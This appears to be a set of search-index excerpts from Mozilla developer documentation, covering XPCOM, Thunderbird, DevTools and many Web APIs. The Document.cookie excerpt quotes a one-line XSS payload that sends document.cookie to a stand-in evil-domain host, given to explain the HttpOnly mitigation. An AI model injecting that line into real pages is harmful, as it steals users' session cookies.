...in that case the principal of the stylesheet which contains the import command is the triggeringprincipal, and the principal of the document whose rendering is affected is the loadingprincipal.
...in that case the principal of the stylesheet which contains the import command is the triggeringprincipal, and the principal of the document whose rendering is affected is the loadingprincipal.
nsILocalFileMac
xpcom/io/nsilocalfilemac.idlscriptable please add a summary to this article.
...obsolete since gecko 1.9.2 boolean ispackage(); void launchwithdoc(in nsilocalfile adoctoload, in boolean alaunchinbackground); void opendocwithapp(in nsilocalfile aapptoopenwith, in boolean alaunchinbackground); void setfiletypeandcreatorfromextension(in string aextension); obsolete since gecko 1.9.2 void setfiletypeandcreatorfrommimetype(in string amimetype); obsolete since gecko 1.9.2 attributes attribute type description bundledisplayname astring returns the display name of the application bundle (usually the human readable name of the application) read only.
...void setfiletypeandcreatorfromextension( in string aextension ); parameters aextension setfiletypeandcreatorfrommimetype() obsolete since gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) sets the file type and creator code from a mime type.
...void setfiletypeandcreatorfrommimetype( in string amimetype ); parameters amimetype ...
nsITextInputProcessorNotification
types "request-to-commit" this is required to be handled.
... when this is requested, the callback should commit composition synchronously, i.e., nsitextinputprocessor.commitcomposition() should be called.
... if the callback doesn't want to commit the composition synchronously, it's okay to commit it later (i.e., asynchronously).
... however, gecko will commit the composition with the last composing string internally.
Getting Started Guide
probably the three most helpful books on this topic are the c++ programming language by bjarne stroustrup, effective c++, and more effective c++ by scott meyers.
... it turns out that reference counting by hand is hard for programmers to get right.
... nscomptr<nsifoo> foo; nsresult rv = bar->queryinterface(ns_get_iid(nsifoo), getter_addrefs(foo)); // or, if you're a savvy xpcom programmer, // you use the type-safe version...
... summary an nscomptr is an owning reference.
XPIDL Syntax
MozillaTechXPIDLSyntax
it is more focused on xpidl syntax and grammar.
...end-of-line) comments are permitted between any two tokens.
... some productions can only occur at the beginning of lines; to simplify the grammar, i will not mention them in the grammar, especially since they are handled as a preprocessing step before the idl source code is actually parsed.
...note that includes within comments or raw code fragments are not processed by xpidl.
Adding items to the Folder Pane
each time the folder pane determines that it is necessary to invalidate all its data (because of too many changes, or more commonly because the folder pane's "mode" (aka view) has changed), a "rebuild" occurs.
...over sessions text (attribute) the text to display in the tree level (attribute) the level in the tree to display the item at open (rw, attribute) whether or not this container is open children (attribute) an array of child items also conforming to this spec getproperties (function) a call from getrowproperties or getcellproperties for this item will be passed into this function command (function) this function will be called when the item is double-clicked for our example extension, two different types of folder-tree-items will be defined.
... level: 0, open: false, _children: null, get children() { if (!this._children) { this._children = []; for (var i = 1; i <= this._numbers; i++) this._children.push(new numberrow(i)); } return this._children; }, getproperties: function gne_getprops() { // put your css attributes here }, command: function gne_command() { // just going to alert, to do something here components.classes["@mozilla.org/embedcomp/prompt-service;1"] .getservice(components.interfaces.nsipromptservice) .alert(window, null, this.text); } }; second, our child items (the numbers 1, 2, and 3) are copies of the following prototype: function numberr...
...ow(anumber) { this._number = anumber; } numberrow.prototype = { get id() { return "numbers-child-row-" + this._number; }, get text() { return this._number; }, level: 1, open: false, children: [], getproperties: function gne_kid_getprops() {}, // no-op command: function gne_kid_command() { // just going to alert, to do something here components.classes["@mozilla.org/embedcomp/prompt-service;1"] .getservice(components.interfaces.nsipromptservice) .alert(window, null, this.text); } }; putting it all together all that is left at this point is to actually add these newly defined folder-tree-items to the folder pane's _rowmap at the appropriate time.
Thunderbird extensions
see community / communications.
... ask in a community communication channel on the right.
... an overview of thunderbird components developer reference docs: folder classes db views (message list) message summary database mailnews protocols mailnews filters error reporting tools steel library (obsolete as of thunderbird 52, use https://github.com/protz/thunderbird-stdlib) developing new account types useful newsgroup discussions (anything that's very old should be regarded suspiciously, because there has been significant api rewrite over the pas...
...t years making most techniques considerably easier) thunderbird api docs (mostly a collection of out-of-date pages, relevance is rather dubious) general links finding the code for a feature mozillazine articles on thunderbird community / communications thunderbird specific : add-ons section on developer.thunderbird.net thunderbird communication channels add-on developers forum/mailing list #maildev irc channel more general : mozillazine extension development forum general developer channels related topics xul, javascript, xpcom, themes, developing mozilla categori ...
Using the Multiple Accounts API
here's an example of a common setup.
...the preference is a comma-seperated list of preference "keys" such as "identity1,identity2".
... preference: mail.server.server.max_cached_connections - integer, max number of connections left open to the server preference: mail.server.server.empty_trash_threshhold integer, (should not be imap-specific) max k of wasted diskspace before we purge a folder preference: mail.server.server.delete_model - integer, delete model (move to trash, imap delete, purge immediately, not sure of values) preference: mail.server.server.timeout - integer, number of minutes a connection is idle before we drop it preference: mail.server.server.capability - list of capabilities of this server preference: mail.server.server.namespace.public - the server's namespace for public folders preference: mail.server.server.namespace.personal - the server's namespace ...
... preference: mail.identity.identity.bcc_other_list - comma-seperated list of other addresses to bcc preference: mail.identity.identity.draft_folder - uri of folder to use for drafts preference: mail.identity.identity.stationary_folder - uri of folder to use for stationary (called templates in 4.x) preference: mail.identity.identity.spam_folder - uri of folder to use for spam (i think this is cut) ...
Thunderbird
thunderbird is a mail/messaging application managed and developed by the thunderbird community.
...(from early 2007 to early 2011 thunderbird was developed by mozilla messaging, a subsidiary owned by mozilla.) documentation building thunderbird information about building thunderbird with the comm-central repository.
... community thunderbird product home page thunderbird project community pages user support is handled at mozilla support development discussion happens on the tb-planning mailing list: subscribe archives add-on developers forum/mailing list mozillazine forums mozilla messaging web page #thunderbird on irc.mozilla.org (for ...
...users) #maildev on irc.mozilla.org (for developers) a list of all thunderbird communication channels ...
Using the Mozilla symbol server
to use only the mozilla symbol server, add the following entry to your symbol path (note: you can replace c:\symcache\ with any writable directory on your computer, if you'd prefer a different location for downloaded symbols): srv*c:\symcache\*https://symbols.mozilla.org/ set this string as _nt_symbol_path in the environment, using the windbg menus, or by typing the .sympath command.
...the command should look like this (again, you can replace c:\symcache\ with any writable directory on your computer, if you'd prefer a different location for downloaded symbols): c:\program files\mozilla firefox>c:\progra~1\debugg~1\symchk.exe /r c:\progra~1\mozill~1\* /s srv*c:\symcache\*https://symbols.mozilla.org/ note the \* after the mozilla directory.
... the output of this command should be similar to: symchk: fullsoft.dll failed - image is split correctly, but fullsoft.dbg is missing symchk: qfaservices.dll failed - qfaservices.pdb mismatched or not found symchk: talkback.exe failed - built without debugging information.
...even using the command line with symchk.exe to download symbols will fail.
Zombie compartments
so it's common for multiple compartments to be created for a single web page.
... some zombie compartments stick around for a limited time before disappearing, others are immortal, and it's useful to know which is which.
... proactive checking of add-ons it's not uncommon for add-ons to cause zombie compartments, see bug 700547 for examples.
... see common causes of memory leaks in extensions for things to avoid.
Using COM from js-ctypes
for communication between the different windows applications among themselves, microsoft has developed a series of technologies alongside the main windows api.
... basis and reference for this article bugzilla :: bug 738501 - implement ability to create windows shortcuts from javascript - comment 4 relavent topic bugzilla :: bug 505907 - support c++ calling from jsctypes converting com code to c code to convert com code to js-ctypes, we need to write c++ vtable pointers in c.
... iid_ispvoice, (void**)&pvoice); if (succeeded(hr)) { pvoice->speak(l"hello, firefox!", spf_default, null); pvoice->release(); } } // msdn documentation says that even if coinitalize fails, counitialize // must be called couninitialize(); return 0; } to run the code, save it as test.cpp, and run following command in the directory (needs visual studio).
...&iid_ispvoice, (void**)&pvoice); if (succeeded(hr)) { pvoice->lpvtbl->speak(pvoice, l"hello, firefox!", 0, null); pvoice->lpvtbl->release(pvoice); } } // msdn documentation says that even if coinitalize fails, counitialize // must be called couninitialize(); return 0; } to run the code, save it as test.c, and run following command in the directory.
Using Objective-C from js-ctypes
while ([synth isspeaking]) {} [synth release]; return 0; } save this file as test.m, and run with the following command, inside the same directory as the saved file (needs xcode).
... // [synth isspeaking] while (objc_msgsend(synth, isspeaking)) {} sel release = sel_registername("release"); // [synth release]; objc_msgsend(synth, release); // [text release]; objc_msgsend(text, release); return 0; } to run this code, save it as test.c, and run the following command in the same directory.
...reading the apple developer :: programming with objective-c - working with blocks you can learn more about blocks.
... */ // apple docs :: working with blocks - https://developer.apple.com/library/ios/documentation/cocoa/conceptual/programmingwithobjectivec/workingwithblocks/workingwithblocks.html var _nsconcreteglobalblock = ctypes.open(ctypes.libraryname('objc')).declare('_nsconcreteglobalblock', ctypes.voidptr_t); // //github.com/realityripple/uxp/blob/master/js/src/ctypes/library.cpp?offset=0#271 /** * the "block descriptor" is a static singleton struct.
Examine and edit CSS - Firefox Developer Tools
:-moz-number-spin-down :-moz-number-spin-up :-moz-number-text :-moz-number-wrapper :-moz-placeholder :-moz-progress-bar :-moz-range-progress :-moz-range-thumb :-moz-range-track :-moz-selection if the selected element has pseudo-elements applied to it, they are displayed before the selected element but hidden by a disclosure triangle: clicking the triangle displays them: viewing common pseudo-classes there's a button to the right of the filter box: click the button to see checkboxes that you can use to enable the :hover, :active and :focus, :focus-within and :visited pseudo-classes for the selected element: this feature can also be accessed from the popup menu in the html view.
... edit rules if you click on a declaration or a selector in the rules view you can edit it and see the results immediately.
...the default choice is the most common property that starts with the letters you've typed.
... the copy rule command copies the entire element, class, or id definition, including any unchanged rules and the rules that describe your changes.
Settings - Firefox Developer Tools
it makes visible the command line and one or two lines of the console output.
...to see the settings, open any of the developer tools, and then: click the "settings" command in the menu: or press f1 to toggle between the active tool and the settings pane the settings pane looks something like this: categories default firefox developer tools this group of checkboxes determines which tools are enabled in the toolbox.
... there's a light theme, which is the default: a dark theme: common preferences settings that apply to more than one tool.
... if common preferences is not included in the settings, web console logs can be persisted by using the 'about:config' url in browser address bar, searching for: 'devtools.webconsole.persistlog' then toggling this value to true inspector show browser styles a setting to control whether styles applied by the browser (user-agent styles) should be displayed in the inspector's rules view.
Web console keyboard shortcuts - Firefox Developer Tools
command windows macos linux open the web console ctrl + shift + k cmd + opt + k ctrl + shift + k search in the message display pane ctrl + f cmd + f ctrl + f open the object inspector pane ctrl + click ctrl + click ctrl + click clear the object inspector pane esc esc esc focus on the command line ctrl + shift + k cmd + opt + k ctrl + shift + k clear output ctrl + shift + l ctrl + l from firefox 67: cmd + k ctrl + shift + l command line interpreter these shortcuts apply when you're in the command line interpreter.
... command windows macos linux scroll to start of console output (only if the command line is empty) home home home scroll to end of console output (only if the command line is empty) end end end page up through console output page up page up page up page down through console output page down page down page down go backward through command history up arrow up arrow up arrow go forward through command history down arrow down arrow down arrow initiate reverse search through command history/step backwards through matching commands f9 ctrl + r f9 step forward through matching command history (after initiating reverse search) shift + f9 ctrl...
...eginning of the line home ctrl + a ctrl + a move to the end of the line end ctrl + e ctrl + e execute the current expression enter return enter add a new line, for entering multiline expressions shift + enter shift + return shift + enter autocomplete popup these shortcuts apply while the autocomplete popup is open: command windows macos linux choose the current autocomplete suggestion tab tab tab cancel the autocomplete popup esc esc esc move to the previous autocomplete suggestion up arrow up arrow up arrow move to the next autocomplete suggestion down arrow down arrow down arrow page up through autocomplete suggestions ...
... command windows macos linux increase font size ctrl + + cmd + + ctrl + + decrease font size ctrl + - cmd + - ctrl + - reset font size ctrl + 0 cmd + 0 ctrl + 0 ...
Web Console UI Tour - Firefox Developer Tools
message display pane this is where the messages appear, both those generated by the code in the page, and those generated by the commands entered on the command line.
... note: you can clear the contents of the console by entering the keyboard command ctrl + shift + l (windows, macos, and linux) or cmd + k on macos.
... command line the command line starts with double angle brackets (>>).
... in firefox 71 onwards, there is a new "split pane" icon on the right hand side of the command line — clicking this will open the new console multi-line mode.
Web Console remoting - Firefox Developer Tools
for communication between the server and the client we use the remote debugging protocol.
... to better understand the architecture of the web console we recommend learning about the debugger architecture.
...", "postdata": { text: "foobar" }, "postdatadiscarded": false } the getresponsecontent packet: { "to": "conn0.netevent15", "type": "getresponsecontent" } { "from": "conn0.netevent15", "content": { "mimetype": "text/css", "text": "\n@import \"test.css\";\n\n.foobar { color: green }\n\n" }, "contentdiscarded": false } the request and response content text value is most commonly sent using a longstringactor grip.
... conclusions as of this writing, this document is a dense summary of the work we did in bug 768096 and subsequent changes.
Firefox Developer Tools
if you have any feedback on devtools, or want to contribute to the project, you can join the devtools community.
... the ellipsis menu on the right-hand side of developer tools contains several commands that let you perform actions or change tool settings.
...the menu also includes links to the documentation for firefox web tools and the mozilla community.
... get involved our community website explains how to get involved.
AbortSignal - Web APIs
the abortsignal interface represents a signal object that allows you to communicate with a dom request (such as a fetch) and abort it if required via an abortcontroller object.
... abortsignal.aborted read only a boolean that indicates whether the request(s) the signal is communicating with is/are aborted (true) or not (false).
... abort invoked when the dom request(s) the signal is communicating with is/are aborted.
... specifications specification status comment domthe definition of 'abortsignal' in that specification.
AesGcmParams - Web APIs
the aes-gcm specification recommends that the iv should be 96 bits long, and typically contains bits from a random number generator.
...the aes-gcm specification recommends that it should be 96, 104, 112, 120 or 128, although 32 or 64 bits may be acceptable in some applications: appendix c of the specification provides additional guidance here.
... specifications specification status comment web cryptography apithe definition of 'subtlecrypto.aesgcmparams' in that specification.
... recommendation ...
Animation.play() - Web APIs
WebAPIAnimationplay
two animation.play()s, one eventlistener: // the cake has its own animation: var nommingcake = document.getelementbyid('eat-me_sprite').animate( [ { transform: 'translatey(0)' }, { transform: 'translatey(-80%)' } ], { fill: 'forwards', easing: 'steps(4, end)', duration: alicechange.effect.timing.duration / 2 }); // pause the cake's animation so it doesn't play immediately.
... nommingcake.pause(); // this function will play when ever a user clicks or taps var growalice = function() { // play alice's animation.
... nommingcake.play(); } // when a user holds their mouse down or taps, call growalice to make all the animations play.
... cake.addeventlistener("mousedown", growalice, false); cake.addeventlistener("touchstart", growalice, false); specifications specification status comment web animationsthe definition of 'play()' in that specification.
AudioTrack.kind - Web APIs
WebAPIAudioTrackkind
"commentary" an audio track containing a commentary.
... this might be used to contain the director's commentary track on a movie, for example.
... specifications specification status comment html living standardthe definition of 'audiotrack: kind' in that specification.
... recommendation ...
AudioTrack.label - Web APIs
WebAPIAudioTracklabel
for example, a track whose kind is "commentary" might have a label such as "commentary with director mark markmarkimark and star donna donnalidon".
... function gettracklist(el) { var tracklist = []; const wantedkinds = [ "main", "alternative", "main-desc", "translation", "commentary" ]; el.audiotracks.foreach(function(track) { if (wantedkinds.includes(track.kind)) { tracklist.push({ id: track.id, kind: track.kind, label: track.label }); } }); return tracklist; } the resulting tracklist contains an array of audio tracks whose kind is one of those in the array wantedkinds, with each entry providing the track's id, kind, and label.
... specifications specification status comment html living standardthe definition of 'audiotrack.label' in that specification.
... recommendation ...
AuthenticatorResponse.clientDataJSON - Web APIs
tokenbindingid optional an object describing the state of the token binding protocol for the communication with the relying party.
... it has two properties: status: a string which is either "supported" which indicates the client support token binding but did not negotiate with the relying party or "present" when token binding was used already id: a domstring which is the base64url encoding of the token binding id which was used for the communication.
...omise var clientdatastr = arraybuffertostr(pk.clientdatajson); var clientdataobj = json.parse(clientdatastr); console.log(clientdataobj.type); // "webauthn.create" or "webauthn.get" console.log(clientdataobj.challenge); // base64 encoded string containing the original challenge console.log(clientdataobj.origin); // the window.origin specifications specification status comment web authentication: an api for accessing public key credentials level 1the definition of 'clientdatajson' in that specification.
... recommendation initial definition.
Background Tasks API - Web APIs
certainly most if not all code that is capable of making changes to the dom is running in the main thread, since it's common for user interface changes to only be available to the main thread.
...since we don't know at the time log() is called whether or not it's safe to immediately touch the dom, we will cache the log text until it's safe to update.
...this element is a pseudo-dom into which we can insert elements without immediately changing the main dom itself.
... specifications specification status comment cooperative scheduling of background tasks proposed recommendation ...
Broadcast Channel API - Web APIs
the broadcast channel api allows basic communication between browsing contexts (that is, windows, tabs, frames, or iframes) and workers on the same origin.
...you don't have to maintain a reference to the frames or workers you wish to communicate with: they can “subscribe” to a particular channel by constructing their own broadcastchannel with the same name, and have bi-directional communication between all of them.
... // disconnect the channel bc.close(); conclusion the broadcast channel api's self-contained interface allows cross-context communication.
... specifications specification status comment html living standardthe definition of 'the broadcast channel api' in that specification.
CanvasPattern.setTransform() - Web APIs
the canvaspattern.settransform() method uses an svgmatrix or dommatrix object as the pattern's transformation matrix and invokes it on the pattern.
... syntax void pattern.settransform(matrix); parameters matrix an svgmatrix or dommatrix to use as the pattern's transformation matrix.
...id('svg1'); var matrix = svg1.createsvgmatrix(); var img = new image(); img.src = 'https://mdn.mozillademos.org/files/222/canvas_createpattern.png'; img.onload = function() { var pattern = ctx.createpattern(img, 'repeat'); pattern.settransform(matrix.rotate(-45).scale(1.5)); ctx.fillstyle = pattern; ctx.fillrect(0, 0, 400, 400); }; note that newer browser versions started to support dommatrix as an input to settransform(), so for example you could replace the svgmatrix in the above example with the following: const matrix = new dommatrix([1, .2, .8, 1, 0, 0]); edit the code below and see your changes update live in the canvas: playable code <canvas id="canvas" width="400" height="200" class="playable-canvas"></canvas> <svg id="svg1" style="display:none"></svg> <div class="pl...
...anvas() { ctx.clearrect(0, 0, canvas.width, canvas.height); eval(textarea.value); } reset.addeventlistener('click', function() { textarea.value = code; drawcanvas(); }); edit.addeventlistener('click', function() { textarea.focus(); }) textarea.addeventlistener('input', drawcanvas); window.addeventlistener('load', drawcanvas); specifications specification status comment html living standardthe definition of 'canvaspattern.settransform' in that specification.
CanvasRenderingContext2D.getTransform() - Web APIs
return value a dommatrix object.
... the transformation matrix is described by: [acebdf001]\left[ \begin{array}{ccc} a & c & e \\ b & d & f \\ 0 & 0 & 1 \end{array} \right] note: the returned object is not live, so updating it will not affect the current transformation matrix, and updating the current transformation matrix will not affect an already returned dommatrix.
... we then apply the retrieved matrix directly to the second canvas context by passing the dommatrix object directly to settransform(), and draw a circle on it.
...nst ctx1 = canvases[0].getcontext('2d'); const ctx2 = canvases[1].getcontext('2d'); ctx1.settransform(1, .2, .8, 1, 0, 0); ctx1.fillrect(25, 25, 50, 50); let storedtransform = ctx1.gettransform(); console.log(storedtransform); ctx2.settransform(storedtransform); ctx2.beginpath(); ctx2.arc(50, 50, 50, 0, 2 * math.pi); ctx2.fill(); result specifications specification status comment html living standardthe definition of 'canvasrenderingcontext2d.gettransform' in that specification.
CanvasRenderingContext2D.setTransform() - Web APIs
the newer type consists of a single parameter, matrix, representing a 2d transformation matrix to set (technically, a dommatrixinit object; any object will do as long as it contains the above components as properties).
... html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); ctx.settransform(1, .2, .8, 1, 0, 0); ctx.fillrect(0, 0, 100, 100); result retrieving and passing a dommatrix object in the following example, we have two <canvas> elements.
... we then apply the retrieved matrix directly to the second canvas context by passing the dommatrix object directly to settransform() (i.e.
...nst ctx1 = canvases[0].getcontext('2d'); const ctx2 = canvases[1].getcontext('2d'); ctx1.settransform(1, .2, .8, 1, 0, 0); ctx1.fillrect(25, 25, 50, 50); let storedtransform = ctx1.gettransform(); console.log(storedtransform); ctx2.settransform(storedtransform); ctx2.beginpath(); ctx2.arc(50, 50, 50, 0, 2 * math.pi); ctx2.fill(); result specifications specification status comment html living standardthe definition of 'canvasrenderingcontext2d.settransform' in that specification.
CharacterData - Web APIs
this is an abstract interface, meaning there aren't any object of type characterdata: it is implemented by other interfaces, like text, comment, or processinginstruction which aren't abstract.
... nondocumenttypechildnode.nextelementsibling read only returns the element immediately following the specified one in its parent's children list, or null if the specified element is the last one in the list.
... nondocumenttypechildnode.previouselementsibling read only returns the element immediately prior to the specified one in its parent's children list, or null if the specified element is the first one in the list.
... specifications specification status comment domthe definition of 'characterdata' in that specification.
Constraint validation API - Web APIs
even though client-side validation can prevent many common kinds of invalid values, invalid ones can still be sent by older browsers or by attackers trying to trick your web application.
... specifications specification status comment html living standardthe definition of 'constraint validation api' in that specification.
... recommendation no change from the previous snapshot html5.
... recommendation first snapshot of html living standard containing this interface.
Credential Management API - Web APIs
this is sometimes referred to as public suffix list (psl) matching; however the spec only recommends using psl to determine the effective scope of a credential.
... publickeycredential provides a credential for logging in using an un-phishable and data-breach resistant asymmetric key pair instead of a password.
... specifications specification status comment credential management level 1 working draft initial definition.
... web authentication: an api for accessing public key credentials level 1 recommendation initial definition.
CryptoKeyPair - Web APIs
the cryptokeypair dictionary of the web crypto api represents a key pair for an asymmetric cryptography algorithm, also known as a public-key algorithm.
... a cryptokeypair object can be obtained using subtlecrypto.generatekey(), when the selected algorithm is one of the asymmetric algorithms: rsassa-pkcs1-v1_5, rsa-pss, rsa-oaep, ecdsa, or ecdh.
...for example: subtlecrypto.generatekey() subtlecrypto.derivekey() subtlecrypto.importkey() subtlecrypto.exportkey() subtlecrypto.wrapkey() subtlecrypto.unwrapkey() subtlecrypto.encrypt() subtlecrypto.decrypt() subtlecrypto.sign() subtlecrypto.verify() specifications specification status comment web cryptography apithe definition of 'cryptokeypair' in that specification.
... recommendation initial definition.
Document.cookie - Web APIs
WebAPIDocumentcookie
the cookie value string can use encodeuricomponent() to ensure that the string does not contain any commas, semicolons, or whitespace (which are disallowed in cookie values).
...common ways to steal cookies include using social engineering or by exploiting an xss vulnerability in the application - (new image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie; the httponly cookie attribute can help to mitigate this attack by preventing access to cookie value through javascript.
...it is highly recommended for you to use whatwg dom storage if you are going to keep "client-only" data.
...ml set-cookie: cookie_name1=cookie_value1 set-cookie: cookie_name2=cookie_value2; expires=sun, 16 jul 3567 06:23:41 gmt [content of the page here] the client sends back to the server its cookies previously stored get /sample_page.html http/1.1 host: www.example.org cookie: cookie_name1=cookie_value1; cookie_name2=cookie_value2 accept: */* specifications specification status comment document object model (dom) level 2 html specificationthe definition of 'document.cookie' in that specification.
Document.querySelectorAll() - Web APIs
multiple selectors may be specified by separating them using commas.
... examples obtaining a list of matches to obtain a nodelist of all of the <p> elements in the document: var matches = document.queryselectorall("p"); this example returns a list of all <div> elements within the document with a class of either note or alert: var matches = document.queryselectorall("div.note, div.alert"); here, we get a list of <p> elements whose immediate parent element is a <div> with the class highlighted and which are located inside a container whose id is test.
...you can use any common looping statement, such as: var highlighteditems = userlist.queryselectorall(".highlighted"); highlighteditems.foreach(function(useritem) { deleteuser(useritem); }); user notes queryselectorall() behaves differently than most common javascript dom libraries, which might lead to unexpected results.
... the :scope pseudo-class restores the expected behavior, only matching selectors on descendants of the base element: var select = document.queryselector('.select'); var inner = select.queryselectorall(':scope .outer .inner'); inner.length; // 0 specifications specification status comment domthe definition of 'parentnode.queryselectorall()' in that specification.
Document Object Model (DOM) - Web APIs
the document object model (dom) connects web pages to scripts or programming languages by representing the structure of a document—such as the html representing a web page—in memory.
...dom methods allow programmatic access to the tree.
... dom interfaces attr cdatasection characterdata childnode comment customevent document documentfragment documenttype domerror domexception domimplementation domstring domtimestamp domstringlist domtokenlist element event eventtarget htmlcollection mutationobserver mutationrecord namednodemap node nodefilter nodeiterator nodelist nondocumenttypechildnode parentnode processinginstruction selection range text textdecoder textencoder timeranges treewal...
...gdocument shadowanimation svgcolorprofilerule svgcssrule svgdocument svgexception svgexternalresourcesrequired svgfittoviewbox svglangspace svglocatable svgrenderingintent svgstylable svgtests svgtransformable svgunittypes svguseelementshadowroot svgurireference svgviewspec svgzoomandpan svgzoomevent specifications specification status comment dom living standard ...
EXT_disjoint_timer_query - Web APIs
the ext_disjoint_timer_query extension is part of the webgl api and provides a way to measure the duration of a set of gl commands, without stalling the rendering pipeline.
... ext.beginqueryext() the timer starts when all commands prior to beginqueryext have been fully executed.
... ext.endqueryext() the timer stops when all commands prior to endqueryext have been fully executed.
... examples var ext = gl.getextension('ext_disjoint_timer_query'); specifications specification status comment ext_disjoint_timer_querythe definition of 'ext_disjoint_timer_query' in that specification.
EffectTiming.fill - Web APIs
WebAPIEffectTimingfill
in this case, we have just two keyframes; the first defines what affect is applied to the element immediately after the animation first begins to play, and the second defines the effect applied to the element in the last moment before it ends.
...var rabbitdownkeyframes = new keyframeeffect( whiterabbit, [ { transform: 'translatey(0%)' }, { transform: 'translatey(100%)' } ], { duration: 3000, fill: 'forwards' } ); // set up the rabbit's animation to play on command by calling rabbitdownanimation.play() later var rabbitdownanimation = new animation(rabbitdownkeyframes, document.timeline); alternatives to fill modes fill modes are primarily provided as a means of representing the animation-fill-mode feature of css animations.
... elem.addeventlistener('click', async evt => { const animation = elem.animate( { transform: `translate(${evt.clientx}px, ${evt.clienty}px)` }, { duration: 800, fill: 'forwards' } ); await animation.finished; // commitstyles will record the style up to and including `animation` and // update elem’s specified style with the result.
... animation.commitstyles(); animation.cancel(); }); specifications specification status comment web animationsthe definition of 'fill' in that specification.
Element.getElementsByClassName() - Web APIs
as new elements that match names are added to the subtree, they immediately appear in the collection.
... similarly, if an existing element that doesn't match names has its set of classes adjusted so that it matches, it immediately appears in the collection.
... the opposite is also true; as elements no longer match the set of names, they are immediately removed from the collection.
...here we'll find all <div> elements that have a class of test: var testelements = document.getelementsbyclassname('test'); var testdivs = array.prototype.filter.call(testelements, function(testelement) { return testelement.nodename === 'div'; }); specifications specification status comment domthe definition of 'element.getelementsbyclassname()' in that specification.
Event - Web APIs
WebAPIEvent
it can also be triggered programmatically, such as by calling the htmlelement.click() method of an element, or by defining the event, then sending it to a specified target using eventtarget.dispatchevent().
...event itself contains the properties and methods which are common to all events.
... event.stopimmediatepropagation() for this particular event, prevent all other listeners from being called.
... specifications specification status comment domthe definition of 'event' in that specification.
File.type - Web APIs
WebAPIFiletype
moreover, file.type is generally reliable only for common file types like images, html documents, audio and video.
... uncommon file extensions would return an empty string.
... client configuration (for instance, the windows registry) may result in unexpected values even for common types.
... specifications specification status comment file apithe definition of 'type' in that specification.
FontFace.display - Web APIs
WebAPIFontFacedisplay
the spec recommends 3 seconds for the block period, though this may vary from browser to browser.
...the spec recommends 100 ms or less for the block period and 3 seconds for the swap period, though these values may vary from browser to browser.
...the spec recommends 100 ms or less, though this may vary from browser to browser.
... specifications specification status comment css font loading module level 3the definition of 'display' in that specification.
msAudioCategory - Web APIs
yes communications for streaming communication audio such as the following: voip real time chat or other type of phone calls should not be used in non-real-time or non-communication scenarios, such as audio and/or video playback, as playback startup latency is affected.
... *note that if msaudiocategory is set to communications, msrealtime is automatically set to true.
...game sound effects designed to mix with existing audio characters talking all non-music sounds no gamemedia background music played by a game no soundeffects game or other sound effects designed to mix with existing audio: characters talking beeps, dings, brief sounds no other default audio type, and recommended for all audio media that does not need to continue playing in the background.
... no if msaudiodevicetype is not explicitly set, msaudiodevicetype will be set to communications.
HTMLAudioElement - Web APIs
examples basic usage you can create a htmlaudioelement entirely with javascript using the audio() constructor: var audioelement = new audio('car_horn.wav'); then you can invoke the play() method on the element audioelement.play(); a common gotcha is trying to play an audio element immediately on page load.
... some of the more commonly used properties of the audio element include src, currenttime, duration, paused, muted, and volume.
... specifications specification status comment html living standardthe definition of 'htmlaudioelement' in that specification.
... recommendation ...
HTMLDetailsElement: toggle event - Web APIs
html <aside id="log"> <b>open chapters:</b> <div data-id="ch1" hidden>i</div> <div data-id="ch2" hidden>ii</div> <div data-id="ch3" hidden>iii</div> </aside> <section id="summaries"> <b>chapter summaries:</b> <details id="ch1"> <summary>chapter i</summary> philosophy reproves boethius for the foolishness of his complaints against fortune.
... </details> <details id="ch2"> <summary>chapter ii</summary> philosophy in fortune's name replies to boethius' reproaches, and proves that the gifts of fortune are hers to give and to take away.
... </details> <details id="ch3"> <summary>chapter iii</summary> boethius falls back upon his present sense of misery.
... </details> </section> css body { display: flex; flex-direction: row-reverse; } #log { flex-shrink: 0; padding-left: 3em; } #summaries { flex-grow: 1; } javascript function logitem(e) { const item = document.queryselector(`[data-id=${e.target.id}]`); item.toggleattribute('hidden'); } const chapters = document.queryselectorall('details'); chapters.foreach((chapter) => { chapter.addeventlistener('toggle', logitem); }); result specifications specification status comment html living standardthe definition of 'toggle event' in that specification.
HTMLFormElement: reset event - Web APIs
time stamp: ${event.timestamp}`; } const form = document.getelementbyid('form'); const log = document.getelementbyid('log'); form.addeventlistener('reset', logreset); result specifications specification status comment html living standardthe definition of 'reset' in that specification.
... recommendation no change html 5.1the definition of 'reset' in that specification.
... recommendation added info that the event is not trusted.
... recommendation initial definition ...
HTMLFormElement: submit event - Web APIs
time stamp: ${event.timestamp}`; event.preventdefault(); } const form = document.getelementbyid('form'); const log = document.getelementbyid('log'); form.addeventlistener('submit', logsubmit); result specifications specification status comment html living standardthe definition of 'submit' in that specification.
... recommendation no change html 5.1the definition of 'submit' in that specification.
... recommendation no change html5the definition of 'submit' in that specification.
... recommendation initial definition ...
HTMLFrameSetElement - Web APIs
htmlframesetelement.cols is a domstring structured as a comma-seperated list specifing the width of each column inside a frameset.
... htmlframesetelement.rows is a domstring structured as a comma-seperated list specifing the height of each column inside a frameset.
... specifications specification status comment html living standardthe definition of 'htmlframesetelement' in that specification.
... recommendation snapshot of a previous html living standard frames are now obsolete.
HTMLImageElement.complete - Web APIs
but imagine that you have other code that needs to only run when the image has completed loading, such as a command that performs red-eye removal on the image in the lightbox.
... while ideally this command wouldn't even be executed if the image hasn't fully loaded, for improved reliability you want to check to ensure this is the case.
... so the fixredeyecommand() function, which is called by the button that triggers red-eye removal, checks the value of the lightbox image's complete property before attempting to do its work.
...*/ function fixredeyecommand() { if (lightboxelem.style.display === "block" && lightboximgelem.complete) { fixredeye(lightboximgelem); } else { /* can't start doing this until the image is fully loaded */ } } specifications specification status comment html living standardthe definition of 'htmlimageelement.complete' in that specification.
HTMLInputElement: invalid event - Web APIs
bubbles no cancelable yes interface event event handler property globaleventhandlers.oninvalid this event can be useful for displaying a summary of the problems with a form on submission.
...er" min="1" max="10" required></label></li> <li><input type="submit" value="submit"></li> </ul> </form><p id="log"></p> javascript const input = document.queryselector('input') const log = document.getelementbyid('log') input.addeventlistener('invalid', logvalue) function logvalue(e) { log.textcontent += e.target.value } result specifications specification status comment html living standardthe definition of 'invalid event' in that specification.
... recommendation html5the definition of 'invalid event' in that specification.
... recommendation ...
HTMLMarqueeElement - Web APIs
